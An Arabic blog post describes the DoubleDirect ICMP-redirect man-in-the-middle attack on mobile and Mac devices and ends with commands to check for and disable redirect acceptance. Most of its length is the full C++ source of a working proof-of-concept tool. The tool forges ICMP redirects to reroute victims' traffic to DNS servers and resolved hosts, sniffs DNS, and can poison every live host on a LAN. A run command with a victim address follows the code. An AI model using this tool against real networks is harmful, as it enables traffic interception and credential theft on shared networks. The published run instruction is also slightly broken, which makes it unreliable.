Top Ad unit 728 × 90

هجوم DoubleDirect و طريقة الحماية منه

DoubleDirec Attack

اكتشف باحثون أمنيون هجوم من نوع جديد (Man-in-the-Middle" (MitM" الذي استهداف مستخدمي الهواتف الذكية والوحيات التي تعمل بنظام ios أو أندرويد في جميع أنحاء العالم.
هجوم MITM، يطلق عليها اسم DoubleDirect، تجعل المهاجم يقوم بإعادة توجيه حركة المرور الضحية من المواقع الكبرى مثل غوغل، الفيسبوك وتويتر لجهاز التحكمالخاص به. وبمجرد القيام به، يمكنه سرقة البيانات الشخصية القيمة الضحايا، مثل معرفات البريد الإلكتروني، وتسجيل الدخول وثائق التفويض والمعلومات المصرفية وكذلك يمكن تقديم البرامج الضارة على الجهاز المحمول المستهدفة.غالبا ما يستخدم كبديل لأسلوب الهجوم التسمم ARP.
شركة أمنية خاصة بالهواتف Zimperium اعطت التفصيل على مدونتها كاشفة أن تقنية DoubleDirect يتم استخدامها من قبل المهاجمين في هجمات ضد مستخدمي عمالقة الويب بما في ذلك غوغل، الفيسبوك، هوتميل، Live.com وتويتر عبر 31 دولة.
Serbia
Australia
Iraq
Kazakhstan
Poland
Indonesia
Israel
Latvia
Finland
Mexico
Egypt
United Kingdom
Austria
Colombia
Greece
Brazil
Canada
France
Algeria
Russian Federation
Switzerland
Italy
Germany
Spain
Saudi Arabia
Netherlands
India
Malta
Bahrain
United States
China
DoubleDirect يستخدام ICMP (بروتوكول التحكم برسائل الإنترنت) من أجل تغيير جداول التوجيه الخاصة بالجهاز في روتر للإعادة توجيه الحزم لجهة معينة .
بالإضافة إلى ios و الأندرويد ، DoubleDirect يحتمل أن يستهدف مستخدمي ماك OSX كذلك. ومع ذلك، فإن مستخدمي ويندوز ولينكس هم في مأمن من هجوم
اختبرت شركة أمن الهجوم ويعمل على أحدث الإصدارات من ios، بما في ذلك الإصدار 8.1.1. معظم أجهزة أندرويد، بما في ذلك "Nexus 5" و "Lollipop". وأيضا على "OS X Yosemite". وأظهرت الشركة أيضا للمستخدمين كيفية تعطيل ICMP يدويا و إعادة توجيه على أجهزة ماكينتوش الخاصة بهم لإصلاح هذه المشكلة.

وقد وفرت الشركة أداة للتدقيق من هجوم DoubleDirect ا  (Proof-of-Concept) .
/*
 * DoubleDirect - Full-Duplex ICMP Redirect Auditing Tool - doubledirect_poc.cpp
 * Zimperium assumes no responsibility for any damage caused by using this software.
 * Permitted for educational or auditing purposes only.
 * Use at your own risk
 *
 * Author: larry
 */

#include <iostream>
#include <fstream>
#include <string>
#include <map>
#include <vector>
#include <getopt.h>
#include <pthread.h>
#include <crafter.h>

static void printUsage(const std::string& progname) {
    std::cout << "[#] Usage: " << progname << " [options] " << std::endl;
    std::cout << "[#] Options: " << std::endl;
    std::cout << "    -i, --interface    Interface" << std::endl;
    std::cout << "    -g, --new-gateway  New gateway for the poisoned destination" << std::endl;
    std::cout << "    -s, --source       Source IP address of the ICMP message" << std::endl;
    std::cout << "    -v, --victim       Victim IP address" << std::endl;
}

// Local interface info
typedef struct {
    // Broadcast
    struct in_addr bcast;
    // Network Mask
    struct in_addr nmask;
} ifcfg_t;

// Grabs local network interface information and stores in a ifcfg_t
// defined in network.h, returns 0 on success -1 on failure
int get_local_info(const std::string& interface, ifcfg_t *ifcfg) {
    int rsock = socket(PF_INET, SOCK_DGRAM, 0);
    struct ifreq ifr;

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, interface.c_str(), IF_NAMESIZE);
    if((ioctl(rsock, SIOCGIFBRDADDR, &ifr)) == -1){
        perror("ioctl():");
        return -1;
    }
    memcpy(&ifcfg->bcast, &(*(struct sockaddr_in *)&ifr.ifr_broadaddr).sin_addr, 4);

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, interface.c_str(), IF_NAMESIZE);
    if((ioctl(rsock, SIOCGIFNETMASK, &ifr)) == -1){
        perror("ioctl():");
        return -1;
    }
    memcpy(&ifcfg->nmask.s_addr, &(*(struct sockaddr_in *)&ifr.ifr_netmask).sin_addr, 4);

    close(rsock);
    return 0;
}

std::string get_string_ip(in_addr nip) {
    char str[INET_ADDRSTRLEN];
    inet_ntop(AF_INET, &(nip.s_addr), str, INET_ADDRSTRLEN);
    return std::string(str);
}

std::string get_string_ip(in_addr_t nip) {
    char str[INET_ADDRSTRLEN];
    inet_ntop(AF_INET, &nip, str, INET_ADDRSTRLEN);
    return std::string(str);
}

// Discover hosts on the local LAN
std::map<std::string, std::string> arp_ping_discover(const std::vector<std::string>& hosts, const std::string& iface) {
    /* Get the IP address associated to the interface */
    std::string MyIP = Crafter::GetMyIP(iface);
    /* Get the MAC Address associated to the interface */
    std::string MyMAC = Crafter::GetMyMAC(iface);

    /* --------- Common data to all headers --------- */

    Crafter::Ethernet ether_header;

    ether_header.SetSourceMAC(MyMAC);
    ether_header.SetDestinationMAC("ff:ff:ff:ff:ff:ff");

    Crafter::ARP arp_header;

    arp_header.SetOperation(Crafter::ARP::Request);
    arp_header.SetSenderIP(MyIP);
    arp_header.SetSenderMAC(MyMAC);

    /* ---------------------------------------------- */

    /* Create a container of packet pointers to hold all the ARP requests */
    std::vector<Crafter::Packet*> request_packets;

    /* Iterate to access each string that defines an IP address */
    for(size_t i = 0 ; i < hosts.size() ; ++i) {

        arp_header.SetTargetIP(hosts[i]);

        /* Create a packet on the heap */
        Crafter::Packet* packet = new Crafter::Packet;

        /* Push the layers */
        packet->PushLayer(ether_header);
        packet->PushLayer(arp_header);

        /* Finally, push the packet into the container */
        request_packets.push_back(packet);
    }

    std::vector<Crafter::Packet*> replies_packets(request_packets.size());

    SendRecv(request_packets.begin(), request_packets.end(), replies_packets.begin(), iface, 0.1, 4, 48);

    std::vector<Crafter::Packet*>::iterator it_pck;
    int counter = 0;
    std::map<std::string, std::string> pair_addr;
    for(it_pck = replies_packets.begin() ; it_pck < replies_packets.end() ; it_pck++) {
        Crafter::Packet* reply_packet = (*it_pck);
        /* Check if the pointer is not NULL */
        if(reply_packet) {
            /* Get the ARP layer of the replied packet */
            Crafter::ARP* arp_layer = reply_packet->GetLayer<Crafter::ARP>();
            /* Print the Source IP */
            std::cout << "[@] Host " << arp_layer->GetSenderIP() << " is up with "
                    "MAC address " << arp_layer->GetSenderMAC() << std::endl;
            pair_addr.insert(std::make_pair(arp_layer->GetSenderIP(), arp_layer->GetSenderMAC()));
            counter++;
        }

    }

    std::cout << "[@] " << counter << " hosts up. " << std::endl;

    /* Delete the container with the ARP requests */
    for(it_pck = request_packets.begin() ; it_pck < request_packets.end() ; it_pck++)
        delete (*it_pck);

    /* Delete the container with the responses  */
    for(it_pck = replies_packets.begin() ; it_pck < replies_packets.end() ; it_pck++)
        delete (*it_pck);
    return pair_addr;
}


// Get gateway MAC
static std::string getGatewayMac(const std::string& iface) {
    // Set default values
    std::string gw_ip("0.0.0.0"), gw_mac("00:00:00:00:00:00");
    char a[16];
    char buf[1024];
    uint32_t b, c, r;
    FILE *route_fd = fopen("/proc/net/route", "r");
    if (route_fd == NULL) return gw_mac;

    fseek(route_fd, 0, 0);
    while (fgets(buf, sizeof(buf), route_fd)) {
        r = sscanf(buf, "%s %x %x", a, &b, &c);
        if ((r == 3) && (strcmp(a, iface.c_str()) == 0) && (b == 0)) {
            struct in_addr in;
            in.s_addr = c;
            gw_ip = std::string(inet_ntoa(in));
            break;
        }
    }

    fclose(route_fd);

    std::string ip_addr_arp;
    std::string hw_addr_arp;
    std::string device_arp;
    std::string dummy;

    std::ifstream arp_table ("/proc/net/arp");
    std::string line;
    std::getline (arp_table,line);

    typedef std::vector<std::pair<std::string, std::string> > addr_pair_cont;
    addr_pair_cont addr_pairs;

    if (arp_table.is_open()) {
        while ( arp_table.good() ) {
            arp_table >> ip_addr_arp;
            arp_table >> dummy;
            arp_table >> dummy;
            arp_table >> hw_addr_arp;
            arp_table >> dummy;
            arp_table >> device_arp;
            // Check if this entry is the gateway
            if(ip_addr_arp == gw_ip) {
                gw_mac = hw_addr_arp;
                break;
            }
        }
    }

    arp_table.close();

    return gw_mac;
}

// Get gateway IP
static std::string getGatewayIp(const std::string& iface) {
    std::string gw_addr("");
    char a[16];
    char buf[1024];
    uint32_t b, c, r;
    FILE *route_fd = fopen("/proc/net/route", "r");
    if (route_fd == NULL) return "";

    fseek(route_fd, 0, 0);
    while (fgets(buf, sizeof(buf), route_fd)) {
        r = sscanf(buf, "%s %x %x", a, &b, &c);
        if ((r == 3) && (strcmp(a, iface.c_str()) == 0) && (b == 0)) {
            struct in_addr in;
            in.s_addr = c;
            gw_addr = std::string(inet_ntoa(in));
            break;
        }
    }

    fclose(route_fd);

    return gw_addr;
}

// Structure to hold parameters of the ICMP redirect attack
struct IcmpRedirParameters {
// Interface
    std::string _interface;
    // Victim IP address
    std::string _victim;
    // Destination we want to poison
    std::string _destination;
    // Net gateway
    std::string _new_gateway;
    // Source of the ICMP redirect message
    std::string _source_ip;
};

// Attack finished
bool finish = false;

// Global Sniffer pointer
std::vector<Crafter::Sniffer*> sniffers;

// List of poisoned entries (one for each destination)
std::map<std::string, IcmpRedirParameters*> poisoned_entries;
pthread_mutex_t entries_mutex;

// Function for handling a CTRL-C
void ctrl_c(int dummy) {
// Signal finish of the attack
finish = true;
// Cancel the sniffing thread
for(size_t i = 0 ; i < sniffers.size() ; ++i) {
    sniffers[i]->Cancel();
}
}

Crafter::Packet* createIcmpPacket(const IcmpRedirParameters* parameters) {
    // Create an IP header
    Crafter::IP ip_header;
    ip_header.SetSourceIP(parameters->_source_ip);
    ip_header.SetDestinationIP(parameters->_victim);

    // Create an ICMP header
    Crafter::ICMP icmp_header;
    // ICMP redirect message
    icmp_header.SetType(Crafter::ICMP::EchoRedirect);
    // Code for redirect to host
    icmp_header.SetCode(1);
    // Set gateway (put attacker's IP here)
    icmp_header.SetGateway(parameters->_new_gateway);

    // Original packet, this should contain the address we want to poison
    Crafter::IP orig_ip_header;
    orig_ip_header.SetSourceIP(parameters->_victim);
    orig_ip_header.SetDestinationIP(parameters->_destination);

    // Create an UDP header. This could be any protocol (ICMP, UDP, TCP, etc)
    Crafter::UDP orig_udp_header;
    orig_udp_header.SetDstPort(53);
    orig_udp_header.SetSrcPort(Crafter::RNG16());

    // Craft the packet and sent it every 3 seconds
    Crafter::Packet* redir_packet = new Crafter::Packet(ip_header / icmp_header / orig_ip_header / orig_udp_header);

    // Return created packet
    return redir_packet;
}

// Function to send a couple of ICMP redirect messages
void* icmpRedirectAttack(void* arg) {
// Get attack parameters
const IcmpRedirParameters* parameters = reinterpret_cast<const IcmpRedirParameters*>(arg);

// Create packet
Crafter::Packet* redir_packet = createIcmpPacket(parameters);

// Send 3 packets
    for(int i = 0 ; i < 3 ; ++i) {
        redir_packet->Send();
        sleep(3);
    }

    return 0;
}

void startIcmpRedirectAttack(IcmpRedirParameters& parameters) {
pthread_t tid;
pthread_create(&tid, 0, icmpRedirectAttack, reinterpret_cast<void*>(&parameters));
pthread_detach(tid);
}

void startIcmpRedirectAttack(IcmpRedirParameters& parameters, const std::string& destination) {
IcmpRedirParameters* new_parameters = new IcmpRedirParameters(parameters);
new_parameters->_destination = destination;

// Save it in global list of poisoned entries
pthread_mutex_lock(&entries_mutex);
poisoned_entries.insert(std::make_pair(new_parameters->_victim + ":" + new_parameters->_destination, new_parameters));
pthread_mutex_unlock(&entries_mutex);

// Start attack
startIcmpRedirectAttack(*new_parameters);
}

void DnsWatcher(Crafter::Packet* sniff_packet, void* user) {
IcmpRedirParameters* parameters = reinterpret_cast<IcmpRedirParameters*>(user);

    /* Get the Ethernet Layer */
    Crafter::Ethernet* ether_layer = GetEthernet(*sniff_packet);

    /* Get the IP layer */
    Crafter::IP* ip_layer = GetIP(*sniff_packet);

    /* Get the UDP layer */
    Crafter::UDP* udp_layer = GetUDP(*sniff_packet);

    /* Checks if the source MAC is not mine */
    if(ether_layer->GetSourceMAC() != getGatewayMac(parameters->_interface)) {

// Checks if the packet is coming from the server
if(ip_layer->GetSourceIP() == parameters->_victim) {
// Get the RawLayer
Crafter::RawLayer* raw_layer = GetRawLayer(*sniff_packet);

// Create a DNS header
Crafter::DNS dns_req;
// And decode it from a raw layer
dns_req.FromRaw(*raw_layer);

// Check if the DNS packet is a query and there is a question on it.
if( (dns_req.GetQRFlag() == 0) && (dns_req.Queries.size() > 0) ) {
// Get the host name to be resolved
std::string hostname = dns_req.Queries[0].GetName();
// Print information
std::cout << "[@] Query detected -> Host Name = " << hostname << std::endl;
}

// ...or coming from the server (better)
} else if (ip_layer->GetDestinationIP() == parameters->_victim) {

// Get the RawLayer
Crafter::RawLayer* raw_layer = GetRawLayer(*sniff_packet);

// Create a DNS header
Crafter::DNS dns_res;
// And decode it from a raw layer
dns_res.FromRaw(*raw_layer);

// Check if we have responses on the DNS packet.
if(dns_res.Answers.size() > 0) {
for(size_t i = 0 ; i < dns_res.Answers.size() ; ++i) {
if(dns_res.Answers[i].GetType() == Crafter::DNS::TypeA) {
// Get the host name to be resolved
std::string ip = dns_res.Answers[i].GetRData();
// Print information
std::cout << "[@] Response detected -> IP address = " << ip << std::endl;
// Poison this address
startIcmpRedirectAttack(*parameters, ip);
}
}
}
}
    }
}

// Function to poison a fixed list of DNS servers
void* poisonDnsServers(void* user) {
IcmpRedirParameters* redirect_parameters = reinterpret_cast<IcmpRedirParameters*>(user);

while(not finish) {
// HardCode DNS servers we want to redirect to our machine
startIcmpRedirectAttack(*redirect_parameters, getGatewayIp(redirect_parameters->_interface)); // Gateway
startIcmpRedirectAttack(*redirect_parameters, "8.8.8.8"); // GOOGLE
startIcmpRedirectAttack(*redirect_parameters, "8.8.4.4"); // GOOGLE
startIcmpRedirectAttack(*redirect_parameters, "208.67.222.222"); // OpenDNS
startIcmpRedirectAttack(*redirect_parameters, "208.67.220.220"); // OpenDNS
sleep(10);
}

return 0;
}

int main(int argc, char* argv[]) {
    // Print header
    std::cout << "[#] ***** ZIMPERIUM - DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool *****" << std::endl;

    // Program name
    std::string progname(argv[0]);
    // Check arguments
    if(argc < 2) {
        printUsage(progname);
        return 1;
    }

    signal(SIGINT, ctrl_c);
    signal(SIGTERM, ctrl_c);

    // Parameters
    std::string interface, victim_ip, new_gateway, source_ip;
    // Victim's IPs
    std::vector<std::string> victims;

    int c;
    // Define options
    static struct option long_options[] = {
        {"interface",   1, 0, 'i'},
        {"new-gateway", 1, 0, 'g'},
        {"victim",      1, 0, 'v'},
        {"source",      1, 0, 's'},
        {NULL,    0, 0, 0}
    };

    int option_index = 0;
    while ((c = getopt_long(argc, argv, "i:v:g:s:",long_options, &option_index)) != -1) {
        switch (c) {
        case 'i':
         interface = std::string(optarg);
            break;
        case 'v':
            victim_ip = std::string(optarg);
            break;
        case 'g':
         new_gateway = std::string(optarg);
            break;
        case 's':
         source_ip = std::string(optarg);
            break;
        case '?':
            printUsage(progname);
            return 1;
            break;
        default:
            printUsage(progname);
            return 1;
        }
    }

    if(interface.size() == 0) {
        std::cout << "[#] Error: Missing interface " << std::endl;
        printUsage(progname);
        return 1;
    }

    if(victim_ip.size() == 0) {
        std::cout << "[#] Missing victim IP address. Poisoning the entire network" << std::endl;

        // Total hosts
        std::vector<std::string> total_hosts;

        // Get local information of the interface
        ifcfg_t local_info;
        get_local_info(interface, &local_info);

        // Get first IP address
        in_addr_t first_ip = local_info.nmask.s_addr & local_info.bcast.s_addr;
        in_addr_t delta_net = ~ntohl(local_info.nmask.s_addr);

        // Create list of ignored IPs addresses
        std::set<std::string> ignored_ips;
        ignored_ips.insert(getGatewayIp(interface));
        ignored_ips.insert(Crafter::GetMyIP(interface));
        ignored_ips.insert(get_string_ip(first_ip));

        // Loop over IPs addresses on the network
        for(size_t i = 0 ; i < delta_net ; ++i) {
            // Get destination IP address
            in_addr_t nip = ntohl(ntohl(first_ip) + i);
            std::string ip = get_string_ip(nip);

            // Only attack IPs which are not on the ignore list
            if(ignored_ips.find(ip) == ignored_ips.end()) {
                total_hosts.push_back(ip);
            }
        }

        // Get hosts UP
        std::map<std::string,std::string> host_up = arp_ping_discover(total_hosts, interface);

        // Set as targets only alive hosts
        for(std::map<std::string,std::string>::const_iterator it = host_up.begin() ; it != host_up.end() ; ++it) {
            victims.push_back((*it).first);
        }
    } else {
        // Push only one victim
        victims.push_back(victim_ip);

        // Print attack's parameters
        std::cout << "[#] Attack parameters : " << std::endl;
        std::cout << "    [+] Interface : " << interface << std::endl;
        std::cout << "    [+] Victim IP address : " << victim_ip << std::endl;
    }

    // Try to get the IP of the gateway
    std::string gw_ip = getGatewayIp(interface);
    // By default the source IP address of the message is the current gateway
    if(source_ip.length() == 0) source_ip = gw_ip;

    if(gw_ip.size() == 0) {
        std::cout << "[#] Error: Interface " << interface << " don't have an associated gateway" << std::endl;
        return 1;
    }

    // Get MAC address of the gateway
    std::string gw_mac = getGatewayMac(interface);

    std::cout << "[#] Gateway parameters : " << std::endl;
    std::cout << "    [+] Gateway IP address : " << gw_ip << std::endl;
    std::cout << "    [+] Gateway MAC address : " << gw_mac << std::endl;

    std::string my_ip = Crafter::GetMyIP(interface);
    // By default set attacker's IP as the new gateway
    if(new_gateway.length() == 0) new_gateway = my_ip;

    std::cout << "[#] My parameters : " << std::endl;
    std::cout << "    [+] My IP address : " << my_ip << std::endl;

    for(size_t i = 0 ; i < victims.size() ; ++i) {
        // Get victim IP
        std::string victim = victims[i];

        // Setup attacks parameters
        IcmpRedirParameters* redirect_parameters = new IcmpRedirParameters;

        // Interface
        redirect_parameters->_interface = interface;
        // Victim IP address
        redirect_parameters->_victim = victim;
        // Net gateway
        redirect_parameters->_new_gateway = new_gateway;
        // Source of the ICMP redirect message
        redirect_parameters->_source_ip = source_ip;

        pthread_mutex_init(&entries_mutex, 0);

        pthread_t dns_poison_id;
        pthread_create(&dns_poison_id, 0, poisonDnsServers, reinterpret_cast<void*>(redirect_parameters));
        pthread_detach(dns_poison_id);

        // Create a sniffer
        Crafter::Sniffer* sniff = new Crafter::Sniffer("udp and host " + victim + " and port 53", interface, DnsWatcher);

        // Now start the main sniffer loop
        void* sniffer_arg = static_cast<void*>(redirect_parameters);
        sniff->Spawn(-1, sniffer_arg);

        // Save sniffer reference
        sniffers.push_back(sniff);
    }

    // Wait
    while(not finish) sleep(1);

    std::cout << "[#] Finishing ICMP redirect attack..." << std::endl;
std::cout << "[#] Fixing route table on victim's machine. Number of poisoned entries = " << poisoned_entries.size() << std::endl;

// Threads
std::vector<Crafter::Packet*> fix_packets;
// Protect entries
pthread_mutex_lock(&entries_mutex);

// Loop over all entries
for(std::map<std::string, IcmpRedirParameters*>::const_iterator it = poisoned_entries.begin() ;
it != poisoned_entries.end() ; ++it) {
// Get parameters
IcmpRedirParameters* parameters = it->second;
std::cout << "  [+] Fixing table for destination : " << it->first << std::endl;
parameters->_source_ip = parameters->_new_gateway;
parameters->_new_gateway = getGatewayIp(parameters->_interface);

// Push packet
fix_packets.push_back(createIcmpPacket(parameters));
}

// Send all the packets, 3 times
for(int i = 0 ; i < 3 ; ++i) {
Crafter::Send(fix_packets.begin(), fix_packets.end(), interface, 16);
sleep(3);
}

pthread_mutex_unlock(&entries_mutex);
    pthread_mutex_destroy(&entries_mutex);

    std::cout << "[#] Finishing fixing route table on victim's machine" << std::endl;

    return 0;
}

ملاحظة : الأداة تحتاج الى ترجمة لتعمل .
لتشغيل الأداة قم بعمل نسخ للشفرة المجودة في الأعلى و حفظها ب doubledirect_successful_community.cpp بعد ذلك قم بترجمة الأداة تم تشغيلها بالأمر :
# ./doubledirect_successful_community.cpp -i wlan0 -v 192.168.1.100
الحماية :

ios و الأندرويد و Mac OS X عادة ما يقبل ICMP افتراضيا لإعادة توجيه الحزم.
لإختبار هل OS X الخاص بك هو عرضة لل DoubleDirect قم بتشغيل الأمر التالي:

sysctl net.inet.ip.redirect | grep ": 1" && echo "DoubleDirect: VULNERABLE" || echo "DoubleDirect: SAFE"
لتعطيل ICMP إعادة توجيه على ماك , قم بالدخول الى الجدار root وطبق الأمر :
# sysctl -w net.inet.ip.redirect=0
وفي الهواتف المحمولة ،معظم أجهزة الأندرويد (galaxy) تقبل التحويل افتراضيا
لتعطيل تحتاج ل root على الجهاز و تطبق اللأمر :
# echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects
المجتمع الناجح
هجوم DoubleDirect و طريقة الحماية منه Reviewed by رشيد منير on 3:37 ص Rating: 5

التعليقات

جميع الحقوق محفوظة لدى المجتمع الناجح © 2015

نموذج الاتصال

الاسم

بريد إلكتروني *

رسالة *

يتم التشغيل بواسطة Blogger.